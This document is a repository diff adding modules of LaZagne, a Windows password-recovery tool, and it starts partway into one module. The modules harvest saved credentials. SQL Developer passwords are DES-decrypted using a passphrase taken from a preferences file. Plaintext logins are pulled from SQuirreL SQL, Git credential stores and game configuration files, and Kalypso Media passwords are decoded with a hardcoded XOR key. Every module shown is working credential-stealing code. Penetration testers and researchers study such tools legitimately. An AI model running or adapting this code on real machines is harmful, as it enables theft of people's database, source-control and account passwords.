crypter = des(dk, CBC, iv)
text = crypter.decrypt(enc_text)
return re.sub(r'[\x01-\x08]', '', text)
def get_passphrase(self, path):
xml_name = u'product-preferences.xml'
xml_file = None
if os.path.exists(os.path.join(path, xml_name)):
xml_file = os.path.join(path, xml_name)
else:
for p in os.listdir(path):
if p.startswith('system'):
new_directory = os.path.join(path, p)
for pp in os.listdir(new_directory):
if pp.startswith(u'o.sqldeveloper'):
if os.path.exists(os.path.join(new_directory, pp, xml_name)):
xml_file = os.path.join(new_directory, pp, xml_name)
break
if xml_file:
tree = ElementTree(file=xml_file)
for elem in tree.iter():
if 'n' in elem.attrib.keys():
if elem.attrib['n'] == 'db.system.id':
return elem.attrib['v']
def run(self):
path = os.path.join(constant.profile['APPDATA'], u'SQL Developer')
if os.path.exists(path):
self._passphrase = self.get_passphrase(path)
if self._passphrase:
self.debug(u'Passphrase found: {passphrase}'.format(passphrase=self._passphrase))
xml_name = u'connections.xml'
xml_file = None
if os.path.exists(os.path.join(path, xml_name)):
xml_file = os.path.join(path, xml_name)
else:
for p in os.listdir(path):
if p.startswith('system'):
new_directory = os.path.join(path, p)
for pp in os.listdir(new_directory):
if pp.startswith(u'o.jdeveloper.db.connection'):
if os.path.exists(os.path.join(new_directory, pp, xml_name)):
xml_file = os.path.join(new_directory, pp, xml_name)
break
if xml_file:
renamed_value = {'sid': 'SID', 'port': 'Port', 'hostname': 'Host', 'user': 'Login',
'password': 'Password', 'ConnName': 'Name', 'customUrl': 'URL',
'SavePassword': 'SavePassword', 'driver': 'Driver'}
tree = ElementTree(file=xml_file)
pwd_found = []
for e in tree.findall('Reference'):
values = {}
for ee in e.findall('RefAddresses/StringRefAddr'):
if ee.attrib['addrType'] in renamed_value and ee.find('Contents').text is not None:
name = renamed_value[ee.attrib['addrType']]
value = ee.find('Contents').text if name != 'Password' else self.decrypt(
ee.find('Contents').text)
values[name] = value
pwd_found.append(values)
return pwd_found

View File

@ -0,0 +1,27 @@
# -*- coding: utf-8 -*-
import os
from xml.etree.cElementTree import ElementTree
from lazagne.config.constant import constant
from lazagne.config.module_info import ModuleInfo
class Squirrel(ModuleInfo):
def __init__(self):
ModuleInfo.__init__(self, name='squirrel', category='databases')
def run(self):
path = os.path.join(constant.profile['USERPROFILE'], u'.squirrel-sql', u'SQLAliases23.xml')
if os.path.exists(path):
tree = ElementTree(file=path)
pwd_found = []
elements = {'name': 'Name', 'url': 'URL', 'userName': 'Login', 'password': 'Password'}
for elem in tree.iter('Bean'):
values = {}
for e in elem:
if e.tag in elements:
values[elements[e.tag]] = e.text
if values:
pwd_found.append(values)
return pwd_found

View File

View File

@ -0,0 +1,55 @@
# -*- coding: utf-8 -*-
import os
try:
import _winreg as winreg
except ImportError:
import winreg
import lazagne.config.winstructure as win
from lazagne.config.module_info import ModuleInfo
from lazagne.config.winstructure import string_to_unicode
class GalconFusion(ModuleInfo):
def __init__(self):
ModuleInfo.__init__(self, 'galconfusion', 'games', registry_used=True)
def run(self):
creds = []
results = None
# Find the location of steam - to make it easier we're going to use a try block
# 'cos I'm lazy
try:
with win.OpenKey(win.HKEY_CURRENT_USER, 'Software\\Valve\\Steam') as key:
results = winreg.QueryValueEx(key, 'SteamPath')
except Exception:
pass
if results:
steampath = string_to_unicode(results[0])
userdata = os.path.join(steampath, u'userdata')
# Check that we have a userdata directory
if not os.path.exists(userdata):
self.error(u'Steam doesn\'t have a userdata directory.')
return
# Now look for Galcon Fusion in every user
for f in os.listdir(userdata):
filepath = os.path.join(userdata, string_to_unicode(f), u'44200\\remote\\galcon.cfg')
if not os.path.exists(filepath):
continue
# If we're here we should have a Galcon Fusion file
with open(filepath, mode='rb') as cfgfile:
# We've found a config file, now extract the creds
data = cfgfile.read()
creds.append({
'Login': data[4:0x23],
'Password': data[0x24:0x43]
})
return creds

View File

@ -0,0 +1,42 @@
# -*- coding: utf-8 -*-
import base64
import os
from lazagne.config.constant import constant
from lazagne.config.module_info import ModuleInfo
from lazagne.config.winstructure import char_to_int, chr_or_byte
try:
from ConfigParser import ConfigParser # Python 2.7
except ImportError:
from configparser import ConfigParser # Python 3
class KalypsoMedia(ModuleInfo):
def __init__(self):
ModuleInfo.__init__(self, 'kalypsomedia', 'games')
def xorstring(self, s, k):
"""
xors the two strings
"""
return b''.join(chr_or_byte(char_to_int(x) ^ char_to_int(y)) for x, y in zip(s, k))
def run(self):
creds = []
key = b'lwSDFSG34WE8znDSmvtwGSDF438nvtzVnt4IUv89'
inifile = os.path.join(constant.profile['APPDATA'], u'Kalypso Media\\Launcher\\launcher.ini')
# The actual user details are stored in *.userdata files
if os.path.exists(inifile):
config = ConfigParser()
config.read(inifile)
# get the encoded password
cookedpw = base64.b64decode(config.get('styx user', 'password'))
creds.append({
'Login': config.get('styx user', 'login'),
'Password': self.xorstring(cookedpw, key)
})
return creds

View File

@ -0,0 +1,41 @@
# -*- coding: utf-8 -*-
import os
import re
from xml.etree.cElementTree import ElementTree
from lazagne.config.constant import constant
from lazagne.config.module_info import ModuleInfo
class RoguesTale(ModuleInfo):
def __init__(self):
ModuleInfo.__init__(self, 'roguestale', 'games')
def run(self):
creds = []
directory = constant.profile['USERPROFILE'] + u'\\Documents\\Rogue\'s Tale\\users'
# The actual user details are stored in *.userdata files
if os.path.exists(directory):
files = os.listdir(directory)
for f in files:
if re.match('.*\.userdata', f):
# We've found a user file, now extract the hash and username
xmlfile = directory + '\\' + f
tree = ElementTree(file=xmlfile)
root = tree.getroot()
# Double check to make sure that the file is valid
if root.tag != 'user':
self.warning(u'Profile %s does not appear to be valid' % f)
continue
# Now save it to credentials
creds.append({
'Login': root.attrib['username'],
'Hash': root.attrib['password']
})
return creds

View File

@ -0,0 +1,55 @@
# -*- coding: utf-8 -*-
import os
try:
import _winreg as winreg
except ImportError:
import winreg
import lazagne.config.winstructure as win
from lazagne.config.module_info import ModuleInfo
from lazagne.config.winstructure import string_to_unicode
class Turba(ModuleInfo):
def __init__(self):
ModuleInfo.__init__(self, 'turba', 'games', registry_used=True)
def run(self):
creds = []
results = None
# Find the location of steam - to make it easier we're going to use a try block
# 'cos I'm lazy
try:
with win.OpenKey(win.HKEY_CURRENT_USER, 'Software\Valve\Steam') as key:
results = winreg.QueryValueEx(key, 'SteamPath')
except Exception:
pass
if results:
steampath = string_to_unicode(results[0])
steamapps = os.path.join(steampath, u'SteamApps\common')
# Check that we have a SteamApps directory
if not os.path.exists(steamapps):
self.error(u'Steam doesn\'t have a SteamApps directory.')
return
filepath = os.path.join(steamapps, u'Turba\\Assets\\Settings.bin')
if not os.path.exists(filepath):
self.debug(u'Turba doesn\'t appear to be installed.')
return
# If we're here we should have a valid config file file
with open(filepath, mode='rb') as filepath:
# We've found a config file, now extract the creds
data = filepath.read()
chunk = data[0x1b:].split('\x0a')
creds.append({
'Login': chunk[0],
'Password': chunk[1]
})
return creds

View File

View File

@ -0,0 +1,61 @@
# -*- coding: utf-8 -*-
import os
try:
from urlparse import urlparse, unquote
except ImportError:
from urllib.parse import urlparse, unquote
from lazagne.config.constant import constant
from lazagne.config.module_info import ModuleInfo
from lazagne.config.winstructure import string_to_unicode
class GitForWindows(ModuleInfo):
def __init__(self):
ModuleInfo.__init__(self, 'gitforwindows', 'git')
def extract_credentials(self, location):
"""
Extract the credentials from a Git store file.
See "https://git-scm.com/docs/git-credential-store" for file format.
:param location: Full path to the Git store file
:return: List of credentials founds
"""
pwd_found = []
if os.path.isfile(location):
with open(location) as f:
# One line have the following format: https://user:pass@example.com
for cred in f:
if len(cred) > 0:
parts = urlparse(cred)
pwd_found.append((
unquote(parts.geturl().replace(parts.username + ":" + parts.password + "@", "").strip()),
unquote(parts.username),
unquote(parts.password)
))
return pwd_found
def run(self):
"""
Main function
"""
# According to the "git-credential-store" documentation:
# Build a list of locations in which git credentials can be stored
locations = [
os.path.join(constant.profile["USERPROFILE"], u'.git-credentials'),
os.path.join(constant.profile["USERPROFILE"], u'.config\\git\\credentials'),
]
if "XDG_CONFIG_HOME" in os.environ:
locations.append(os.path.join(string_to_unicode(os.environ.get('XDG_CONFIG_HOME')), u'git\\credentials'))
# Apply the password extraction on the defined locations
pwd_found = []
for location in locations:
pwd_found += self.extract_credentials(location)
# Filter duplicates
return [{'URL': url, 'Login': login, 'Password': password} for url, login, password in set(pwd_found)]

Some files were not shown because too many files have changed in this diff Show More